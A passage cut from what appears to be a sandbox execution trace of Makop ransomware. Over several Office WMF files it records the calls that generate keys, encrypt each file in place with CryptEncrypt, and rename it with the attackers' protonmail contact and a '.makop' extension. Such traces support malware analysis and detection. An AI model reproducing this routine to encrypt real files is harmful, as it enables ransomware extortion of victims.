phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.833] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.833] GetProcessHeap () returned 0x48a0000 [0165.833] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.833] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.834] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.834] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.834] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.834] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.834] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.834] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.834] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.835] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.835] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.835] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.835] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2068, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2068, lpOverlapped=0x0) returned 1 [0165.836] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x2070, dwBufLen=0x2070 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x2070) returned 1 [0165.836] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.836] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2070, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x2070, lpOverlapped=0x0) returned 1 [0165.837] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.837] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.837] SetEndOfFile (hFile=0x130) returned 1 [0165.843] GetProcessHeap () returned 0x48a0000 [0165.843] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.843] GetProcessHeap () returned 0x48a0000 [0165.843] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.843] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.843] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18192_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18192_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.845] CloseHandle (hObject=0x130) returned 1 [0165.845] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd07d0800, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd07d0800, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18193_.WMF", cAlternateFileName="")) returned 1 [0165.845] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF") returned 70 [0165.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.846] GetProcessHeap () returned 0x48a0000 [0165.846] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.846] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.847] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.847] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0165.851] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.851] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.851] GetProcessHeap () returned 0x48a0000 [0165.851] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.851] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.851] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.851] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.851] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.852] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.852] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.852] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.852] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.852] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.852] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.852] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x128e, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x128e, lpOverlapped=0x0) returned 1 [0165.854] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1290, dwBufLen=0x1290 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1290) returned 1 [0165.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.854] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1290, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1290, lpOverlapped=0x0) returned 1 [0165.855] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.855] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.855] SetEndOfFile (hFile=0x130) returned 1 [0165.862] GetProcessHeap () returned 0x48a0000 [0165.862] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.862] GetProcessHeap () returned 0x48a0000 [0165.862] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.862] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.862] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18193_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18193_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.865] CloseHandle (hObject=0x130) returned 1 [0165.865] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e33800, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29e33800, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18194_.WMF", cAlternateFileName="")) returned 1 [0165.865] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF") returned 70 [0165.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.866] GetProcessHeap () returned 0x48a0000 [0165.866] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.866] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.866] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.867] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x2, lpOverlapped=0x0) returned 1 [0165.878] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.878] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.878] GetProcessHeap () returned 0x48a0000 [0165.878] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.878] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.878] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.878] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.879] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.879] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.879] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.879] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.879] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.879] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.880] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.880] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdde, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xdde, lpOverlapped=0x0) returned 1 [0165.880] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xde0, dwBufLen=0xde0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xde0) returned 1 [0165.880] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.880] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xde0, lpOverlapped=0x0) returned 1 [0165.880] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.880] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xeb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.880] SetEndOfFile (hFile=0x130) returned 1 [0165.886] GetProcessHeap () returned 0x48a0000 [0165.886] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.886] GetProcessHeap () returned 0x48a0000 [0165.887] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.887] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18194_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18194_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.889] CloseHandle (hObject=0x130) returned 1 [0165.890] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4404e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf4404e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18196_.WMF", cAlternateFileName="")) returned 1 [0165.890] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF") returned 70 [0165.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.891] GetProcessHeap () returned 0x48a0000 [0165.891] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.891] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0165.891] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0165.891] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0165.895] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.895] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.895] GetProcessHeap () returned 0x48a0000 [0165.896] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0165.896] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0165.896] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.896] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0165.896] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0165.896] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0165.896] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0165.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0165.896] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0165.897] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0165.897] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0165.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.897] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5a4, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x5a4, lpOverlapped=0x0) returned 1 [0165.897] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x5b0, dwBufLen=0x5b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x5b0) returned 1 [0165.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.897] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x5b0, lpOverlapped=0x0) returned 1 [0165.897] CryptDestroyKey (hKey=0x48c7168) returned 1 [0165.897] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.897] SetEndOfFile (hFile=0x130) returned 1 [0165.903] GetProcessHeap () returned 0x48a0000 [0165.904] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0165.904] GetProcessHeap () returned 0x48a0000 [0165.904] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0165.904] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0165.904] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18196_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18196_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0165.906] CloseHandle (hObject=0x130) returned 1 [0165.906] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6adbc800, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6adbc800, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18197_.WMF", cAlternateFileName="")) returned 1 [0165.906] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF") returned 70 [0165.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18197_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18197_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0165.908] GetProcessHeap () returned 0x48a0000 [0165.909] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0165.909] CryptGenRandom (in: 